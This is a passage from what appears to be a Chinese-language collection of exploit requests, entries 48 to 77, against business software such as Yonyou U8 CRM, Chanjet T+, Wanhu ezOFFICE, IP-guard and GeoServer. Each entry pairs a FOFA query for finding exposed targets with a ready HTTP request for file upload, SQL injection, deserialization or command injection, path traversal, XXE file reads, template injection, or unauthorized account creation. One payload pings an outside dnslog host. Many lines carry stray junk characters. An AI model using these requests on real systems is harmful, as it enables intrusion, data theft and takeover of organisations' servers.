+ D" x' K$ m0 s. X( N9 Z2 {1 N

3 i# v: W, C5 }5 p5 f
48. 用友U8 CRM swfupload 任意文件上传
% G  B6 c' b3 g( \% x2 m* G+ gFOFA：title="用友U8CRM"
5 t5 s1 h8 B) O  z" \) E6 vPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; s' e4 F1 [/ J' M# z9 kAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. Z* r# a. j1 g) ?9 gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
" c' X8 X  y8 c$ A5 G) ]* {5 b' Z1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
" n& m1 _  b' y6 @% JFOFA：body="用友U8CRM"
" K8 j* y0 F2 m( I4 |8 O9 d8 W1 H, N
) H! y0 ^- [5 C6 [) }9 ^: N/ v& gPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
9 S0 Q) u& M$ d% d2 h) }0 |+ J" ^9 f  wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
0 D7 g, R4 a2 [7 s( [$ jContent-Length: 329
. x' g+ o( K3 x6 v; d0 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ i! U8 N. [9 X  r, i1 I4 OAccept-Encoding: gzip, deflate
: B7 T$ j0 X+ V: a2 o8 VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
" Z) _! i: k7 m9 A3 @Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

% y- v/ u% Q8 P9 |/ M" Z! v; K5 z# F-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
4 S- r7 n, I7 X+ x, `6 NContent-Type: application/octet-stream
& h1 K4 [# n3 J8 i
wersqqmlumloqa
$ @4 Y5 \. \( A1 q: L+ q- v-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

3 N% E+ g5 R# m: Xupload
9 {" o: Z, s2 T1 n# E-----------------------------vvv3wdayqv3yppdxvn3w--

7 X, J/ Q$ t2 }# W/ x, P
" X4 Z  A- |9 b; j* Y) B3 Fhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
; N1 m4 D+ T) n" H0 U
* w1 i3 C# P) \, w; H- P50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
8 s& C2 ^1 z; J) K, _, Q5 {9 ^POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
0 @( w9 ^' L* ]: W7 b% GContent-Length: 224
Accept: */*
Accept-Language: en
- l/ J1 ~0 x- b7 m% E, |Content-Type: application/x-www-form-urlencoded
$ f3 o, A1 p0 m, ?6 @* |$ E9 v' FAccept-Encoding: gzip

" U8 |3 P/ ]% O$ Csearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

( w3 X$ v$ N) F, {! V
+ r# h( j3 T( h( d5 ^5 U! ^, r0 y51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
% |! v% h& ^; U, Z( l! GHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
# {9 O, j* L0 ^) O/ R$ x' CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
( L, T" Z2 q' b% |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" U: c& I: u, yConnection: close
+ [  e- ]3 w( v- j" r7 d- B) }4 Q
$ b# c0 f9 m9 `. u0 S/ _# H
: C  ^9 K/ J/ R0 U52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
8 c8 q+ k9 l/ O  W8 ?POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
  A  ~$ N7 i6 {5 e% {* TUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 w! L$ S5 y$ V% r8 f: ]6 W0 BConnection: close
Content-Length: 87
/ F# V$ u* o( \* J8 i. K1 W, CAccept: */*
Accept-Language: en
4 H* S" E4 h! D$ sContent-Type: application/x-www-form-urlencoded
' Z- Z8 J( G5 [7 O1 ?6 r( }8 ?4 IAccept-Encoding: gzip
0 J4 W! l. F# \1 D! I0 \
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333


53. 迪普 DPTech VPN Service 任意文件上传
! t$ V% R- j) ^FOFA：app="DPtech-SSLVPN"
) ?& c  T. @# P# L/ ]+ R/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
) D* O- z3 O  s; w: lFOFA：app="畅捷通-TPlus"
/ M* }" X! ^/ |$ A* t第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
5 {, a2 X6 K* ?6 j; `8 l1 ?"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
4 p! Z/ o9 v2 o
  `9 r2 v' q2 p9 A3 w7 P# p* n5 g
; B' ^8 U& v! x$ I! `! X2 s- g* ]6 F  y完整数据包
* e0 F1 Z6 N# t5 G9 ?POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
$ h% t3 d$ A3 }6 {( S9 a! c4 ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

) U- T. m+ m, R{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
  |) t' D" E2 ]2 d- j0 W* X8 t "MethodName":"Start",
  "ObjectInstance":{
7 B0 z7 A; k' k2 h$ f   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
( X  E" b2 W+ q3 Z" E    "StartInfo":{
0 W: ?4 z4 z3 x; p1 C   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
1 D# w0 `, c  x4 w    "FileName":"cmd",
+ Z: ^* C' a% E  B3 p6 u) J    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
2 l, U, _/ w: q+ @  }
}
' E9 `; ~/ s& J6 o& H4 ~. N

  M4 O% z* j5 w第二步，访问如下url
1 h# p5 `/ B3 p* |9 v/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
8 z- K1 h! \& q/ Z& @/ C$ m' U
0 t; ?: _4 }# Y" A$ u0 b" N+ q8 f
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
* U8 P# b# i+ j- a" ]) \, b& T7 e第一步，通过
7 Z- k) J9 e% b1 _; u# M/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
: P0 k6 q+ Y* K, v" Y5 L9 q第二步，利用获取到的Cookie请求
5 z" g/ C4 C4 h0 @4 S- a' B5 n/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
( ]7 z. r. O. E6 ?& J8 B
+ t  `. ~1 |7 ?( \" D56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
: P; u/ Z: y4 S* U! r# gFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
7 i* K9 T4 d& h4 B/ |Host: x.x.x.x
4 @) e1 a8 M( @8 n( ]% oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
# A7 Z( y) U6 sContent-Type: application/json
! E$ {) O# Y3 u  A) ~6 v+ N1 ]
- q* C8 h, ]' R8 a( \{
0 V4 ?" l  t, z, W- z8 J  "storeID":{
. k0 Y4 C# q* t    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
) Z% }/ }/ W7 d0 f2 l% t( a   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
3 s+ R+ U) D- l# O  ~           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
, O$ r$ y  {5 S! i8 R% g: d) O8 O       }
* ]- }5 c7 s5 {& W( `! Y* q    }
  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
# M0 W6 U# Q/ ~4 E  BFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
& R+ M# [' {! L! PHost: host
/ F6 K6 z5 h# ~: v/ RUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
# x0 H$ P' C0 J6 BAccept-Charset: utf-8
7 T. p$ P% d8 x& xAccept-Encoding: gzip, deflate
Connection: close


  j8 y( g' f# _58. 畅捷通T+ KeyInfoList.aspx sql注入
+ `2 Y& j( F* dFOFA：app="畅捷通-TPlus"
  u, g8 v3 w8 r- A0 E2 IGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
$ v" Z; v* [1 A1 eAccept-Charset: utf-8
3 \9 u/ `% P/ x- r# T) hAccept-Encoding: gzip, deflate
% v8 X  i- @6 L- J2 b8 ]Connection: close

" N* P! ~( e  ]3 H* V: `
1 y. h+ T$ ~8 ^! P) t  w: \59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
* V& ~) T4 g( V8 q2 |+ r3 _User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
% g! ^8 Q; O$ R1 r7 H/ N5 d& u5 Y9 {Accept: */*
+ z2 i  _: T* f5 ^8 S& `Accept-Language: en
( k6 j# m" `- ?& BContent-Type: application/x-www-form-urlencoded
5 N! c  }1 q5 V* [6 G/ g/ ]7 tAccept-Encoding: gzip

PAYLOAD


6 n3 k/ \6 d7 Z  [2 x60. 百卓Smart管理平台 importexport.php SQL注入
; C% C" p* d. `: WFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
4 _  x. ~. Y: \- IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
1 y5 E" R% {3 x& SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& e" c; R$ Z$ l8 {6 P- f- TConnection: close
  C/ }: o0 L5 c0 l3 m0 V
/ W8 l! }- B; V/ ^: m: t2 M
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
0 r/ X+ I- G" U& [4 kPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
  M' o7 M" g* N& e' ~" ~& @3 X/ IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ s6 f0 e# C0 P) j; _Connection: close
8 ~' V# G8 S3 V( xContent-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
0 d# C0 ?: L6 K% VAccept-Language: en
* D- k$ M) z. RContent-Type: application/x-www-form-urlencoded
6 [3 A2 u" K1 M1 o5 c  L  P
( Y6 Q7 A% C+ J9 k8uxssX66eqrqtKObcVa0kid98xa


; [7 z. W  B8 r2 v4 K. C62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
# e% k2 R6 U7 W" e; _GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: I7 ]  `, l: T5 a! _Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
0 S6 M9 {& z0 M' }) X, t8 l9 S# K9 tAccept-Encoding: gzip

; f3 C* V4 C7 F0 A* Y* C
2 D: M8 \- c+ h( z2 @; X- k访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
* e/ y+ d3 @& N' B; @Host: x.x.x.x
- b; F+ h: S, D6 [$ k5 b( ]2 w% R

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
, Y9 |  @! w3 _POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
8 n5 R2 S' u* i: a. qHost: your-ip
/ J. H2 c7 \8 b4 qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' F4 f% L$ u6 z+ V; V' lConnection: close
Content-Type: application/x-www-form-urlencoded
- ]( _! P; Q7 L9 z9 y
( y: m2 ?3 \& a. q4 xpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

1 A6 `" Y3 X, y3 V( |2 Q64. 捷诚管理信息系统CWSFinanceCommon SQL注入
+ G9 A6 N7 \/ F5 ?/ tFOFA：body="/Scripts/EnjoyMsg.js"
' _2 M1 c5 H3 [& C. w7 s& v9 oPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
. o) v+ [: S! a4 N1 Y6 g! HAccept-Language: en
5 P7 b4 ~2 o6 e! n) g2 w6 ]Content-Type: text/xml; charset=utf-8
0 \* }; t. q, [; F2 ~Accept-Encoding: gzip

4 l7 N3 ~* V% \- l$ R4 H<?xml version="1.0" encoding="utf-8"?>
9 f: p" R! R9 Z  ?6 B<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
' r6 S1 I- f3 q. N    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
7 U5 q! z! U$ `# b  </soap:Body>
  H" r# g% l  k</soap:Envelope>

: j# P( ]! V; M* W3 k4 A! @
# u; X! p, N2 U! t& E5 Z2 L65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
* G& o0 e: W  b% T. ~  \FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
  w8 j5 c! i' L& s) j5 ~Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
7 W, p+ G: u+ ~Accept-Language: en
6 c' f- \! Z7 R( U% LContent-Length: 174
9 m9 H) m; p/ E( Q9 l
operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
7 q! i4 s7 C& J8 U

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
, L! U6 e' ~1 o  K
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
7 T& q8 F# i2 s3 I3 k) D( X6 `Host: x.x.x.x
0 z" g/ b4 g( z5 I1 U% f1 y% |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
5 a& E1 e0 n; {% _4 i* M
67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
! D6 X* G& K" B, vPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
  Q% R% D9 j9 N- {$ H( W1 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
+ o) U' @0 y. J8 F) B9 w! p" k: aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
5 p7 y9 c& X# D0 HContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
0 J, L% z$ p. G0 I) L/ {Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
9 Z3 B0 W' u# e9 r
$ D& X! K1 r* e: r1 |$ y: W<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

7 U1 b0 \- C  H9 b5 V
% c9 z: O  I0 \文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

0 |, x( P, z& P- B* C68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
, |3 L/ T5 j  M1 X3 BAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
) o; S. _5 d' i, {! y% RAccept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
' C/ q: Y( `  K/ l6 ^User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ u- [) m7 U: z. q  ^' ~Accept-Encoding: gzip, deflate
; s% _. H2 S) d1 A2 l( |Accept: */*
Connection: keep-alive
/ q( E0 M" {* N% E' X# b) I6 C
+ B2 s& }9 K- n. L2 K
1 O5 \2 X; M* u* a6 j! f70. 万户ezEIP success 命令执行
" u* |  _6 {; H9 m2 b; DFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
# o0 _& q; @! IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 m8 z( F+ V, Z3 ]SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
# x0 i4 s6 y) X3 u+ P/ GTYPE: C
  f" }% T; n1 d9 m* P( c- gContent-Length: 16702
0 g8 H8 w4 [" T. O, w. j$ d" O
__VIEWSTATE=PAYLOAD
) k3 x) N) d, r
2 f' f* b% {8 y* _
$ j# o) {7 {- d# f  U3 A) v71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
/ F1 K2 D/ ?# k) ~3 \FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
/ i! _( V, T8 Q2 s7 T6 VUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
9 _+ \9 H* V6 LConnection: close
0 Y; b9 [& u- {& X6 c: `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- A* n9 }( k/ gAccept-Encoding: gzip, deflate
" s' n& ?% e, X3 A) F& bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 ^! n% X$ z% Y& HUpgrade-Insecure-Requests: 1
/ |7 F' b' o2 x, B( T+ f7 s

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
6 N% V4 n/ A; F8 iPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
3 E& S- S) J  o, E; ]0 @$ GConnection: close
" ^: `! i) _4 h5 PContent-Length: 583
# q% S3 f! o( o6 L5 KContent-Type: application/x-www-form-urlencoded
  Q' |1 }: M, ?Accept-Encoding: gzip
3 t  n4 |4 z; W0 T3 F
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E

( G% C) G5 M9 k
: w! i' x  ]2 f5 z' A: V6 G0 }2 r8 v) O73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
) J+ i* o6 u$ O/ H5 d' n# KHost:
3 v' G; s# z: h7 [% l1 }; T3 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
! S! K2 d. Y5 ~Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

) M+ K. g8 P$ e; e. x2 B/ C7 nPAYLOAD
6 ^' ?0 v: M; I( V

74. 致远M3-server 6_1sp1 反序列化RCE
* C) A# F3 n  h% ^FOFA：title="M3-Server"
1 @2 q- e& G5 L" H" VPAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
# {: I6 V% Z0 o1 g1 U* F5 lFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
& _* J) b* i" Z; gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 V0 `8 N+ Z1 T$ `) _+ W: QConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

, D. K: i9 V0 P* W$ [/ f4 o) N' S0 c
) _1 _! r7 b8 x: k5 ~: @4 r76. 新开普掌上校园服务管理平台service.action远程命令执行
* ]) a! s- V. u" H: k" dFOFA：title="掌上校园服务管理平台"
% W8 p9 O1 j2 Q1 zPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
+ R/ w7 g. x+ q0 |/ F! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
" C% I/ D5 {2 K) V" n. p. {Connection: close
Content-Length: 211
% c. N/ Q6 s; h1 ]& ^, _+ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. V4 @0 \4 h6 O* ^( L$ l; vCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

" J; C1 }. }! M4 R8 a{
+ \' Y. l; e% J3 K2 ~; S+ p"command": "GetFZinfo",
4 ~1 o" _* m5 m) ^2 x  ^  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

0 t& W" ?" Q8 n7 s
GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
  F, B; g- c/ ^7 f3 _' {

7 Y% |; K; ^+ [
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
! d5 {3 O) Z  m1 U" ^: L, X: fHost: x.x.x.x
, k/ Z5 w2 K2 T9 r! g1 @7 T7 IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
! g% }9 ?- W2 P/ h" D' }4 YAccept: */*
